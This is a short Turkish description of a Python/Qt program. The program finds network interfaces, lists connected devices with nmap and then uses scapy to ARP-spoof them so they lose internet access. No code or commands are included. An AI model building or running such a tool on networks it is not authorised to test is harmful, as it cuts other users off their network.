Programlama dili olarak python kullandığım bu programımda arayüzü qt ile oluşturdum.
Yaptığı işlem genel olarak öncelikle interfaceleri bulup ilgili interface seçilince bulunulan ağa bağlı cihazların ip adreslerini getiriyor. Bunu yaparken nmap kütüphanesini kullandım. Scapy kütüphanesi ile de arp spoofing yapıyoruz. Sonrasında ağdaki cihazlar internete bağlanmamaya başlayacaktır.

Bu program unix sistemlerde çalışacaktır. Çalışması için qt5, nmap, scapy.all, netifaces kütüphanelerini kuramız gerekiyor.
